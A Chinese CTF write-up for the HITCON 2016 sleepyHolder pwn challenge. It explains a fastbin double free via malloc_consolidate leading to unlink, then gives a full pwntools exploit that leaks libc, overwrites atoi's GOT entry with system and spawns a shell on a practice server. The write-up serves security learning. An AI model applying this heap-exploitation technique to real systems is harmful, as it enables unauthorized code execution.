sleepyHolder_hitcon_2016(fastbin的检查机制+malloc_consolidate+double free)

161 篇文章 9 订阅
161 篇文章 9 订阅

sleepyHolder_hitcon_2016

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,delete功能没有清空指针,并且也没有校验,因此可以double free。

Edit功能又验证标志,因此不能UAF编辑

Add功能可以创建三种规格的堆。

由于没有开启PIE,并且堆指针存储在bss上,因此unlink是比较好的方法。但是不能溢出,

而要想成功double free,仅一个fastbin的chunk不行。Fastbindouble free的检查机制是仅仅检查fastbin的头chunk是否与当前要释放的这个相同sizechunk地址一样。

因此,我们可以利用malloc_consolidate,来将fastbin的chunk从fastbin里卸下来,触发malloc_consolidate的条件是申请一个大的堆,功能里正好有这个功能。malloc_consolidate的功能就是把chunkfastbin取出,相邻的chunk进行合并,并且会设置下一个chunkprev_inuse位为0当chunk从fastbin里取出后,我们就可以在再一次free这个chunk了,此时,fastbin里没有形成循环链表,一个chunk在fastbin,一个chunk在unosrted bin。关键的一点是下一个chunk的prev_inuse已经清零,我们将fastbin里的那个chunk申请回来,伪造一个chunk,然后释放下一个unsorted bin范围的chunk,就会发生unlink。

Unlink以后,实现了任意地址读写,改写got表

#coding:utf8
from pwn import *
from LibcSearcher import *

#sh = process('./sleepyHolder_hitcon_2016')
sh = remote('node3.buuoj.cn',25929)
elf = ELF('./sleepyHolder_hitcon_2016')
free_got = elf.got['free']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
small_buf_addr = 0x00000000006020D0

def add(type,content):
   sh.sendlineafter('3. Renew secret\n','1')
   sh.sendlineafter('What secret do you want to keep?',str(type))
   sh.sendafter('Tell me your secret:',content)

def delete(type):
   sh.sendlineafter('3. Renew secret\n','2')
   sh.sendlineafter('Which Secret do you want to wipe?',str(type))

def edit(type,content):
   sh.sendlineafter('3. Renew secret\n','3')
   sh.sendlineafter('Which Secret do you want to renew?',str(type))
   sh.sendafter('Tell me your secret:',content)

add(1,'a'*0x20)
add(2,'b'*0x20)
#1放入fastbin
delete(1)
#触发malloc_consolidate整理fastbin放入smallbin
add(3,'c'*0x20)
#由于fastbin的double free仅仅是比较fastbin头与当前free的chunk是否一样
#由于malloc_consolidate把fastbin里的chunk给取出来了,因此又可以free一次了
#并且chunk2的size的prev_inuse已经清零
#现在可以再一次free fastbin了
delete(1)
#伪造chunk1
payload = p64(0) + p64(0x21)
#fd、bk
payload += p64(small_buf_addr - 0x18) + p64(small_buf_addr - 0x10)
#prev_size
payload += p64(0x20)
add(1,payload)
#unlink
delete(2)
#修改big_buf、small_buf指针
payload = '\x00'*0x8 + p64(free_got) + p64(0) + p64(small_buf_addr - 0x10) + p64(1)
edit(1,payload)
#修改free的got表为puts的plt表
edit(2,p64(puts_plt))
#修改big_buf、small_buf指针
payload = p64(atoi_got) + p64(0) + p64(atoi_got) + p64(1) + p64(1)
edit(1,payload)
#泄露atoi地址
delete(1)
sh.recvuntil('2. Big secret\n')
atoi_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc = LibcSearcher('atoi',atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改atoi的got表为system
edit(2,p64(system_addr))
#getshell
sh.sendlineafter('3. Renew secret\n','sh\x00')

sh.interactive()

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值